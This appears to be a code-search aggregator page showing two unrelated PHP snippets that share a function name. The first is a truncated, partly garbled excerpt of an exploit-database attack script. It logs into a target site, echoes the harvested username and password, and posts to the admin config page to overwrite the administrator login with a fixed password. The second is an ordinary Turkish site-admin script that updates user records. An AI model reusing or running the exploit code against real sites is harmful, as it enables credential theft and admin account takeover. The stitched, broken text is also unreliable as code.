コード例 #1
0
ファイル: 35535.php プロジェクト: noscripter/exploit-database
    curl_close($ch);
}
function adminchange($target, $username, $password)
{
    $post = array('save' => '1', 'newlogin' => $username, 'newpass' => "htlover");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIE, 'user='******'; pass='******'submit'])) {
    $target = $_POST['target'];
    //login($target, $username, $userid);
    $logins = login($target);
    echo "USERNAME :"******"<br>PASSWORD :" . $logins[1];
    // password
    echo adminchange($target . '/admin.php?action=config', $logins[0], $logins[1]);
}
?>
</pre>
コード例 #2
0
ファイル: yonetim_islem.php プロジェクト: keraattin/Lokanta
    if ($degis == 1 || $degis == 0) {
        $query = $db->prepare("UPDATE uyeler SET\n\t\tadmin = ?\n\t\tWHERE uye_id = ?");
        $update = $query->execute(array($degis, $id));
        if ($update) {
            echo "güncelleme baþarýlý ";
            header("refresh:2;url=yonetim.php");
        }
    } else {
        echo "hatalý deger girdiniz";
        exit(header("refresh:2;url=kullaniciduzenle.php?id={$id}"));
    }
}
$deger = $_POST['deger'];
$degisecek_deger = $_POST['islem_al'];
switch ($deger) {
    case "kullanici_id":
        useridchange($_POST['islem_al'], $id);
        break;
    case "kullanici_adi":
        usernamechange($_POST['islem_al'], $id);
        break;
    case "sifre":
        passchange($_POST['islem_al'], $id);
        break;
    case "mail":
        mailchange($_POST['islem_al'], $id);
        break;
    case "admin":
        adminchange($_POST['islem_al'], $id);
        break;
}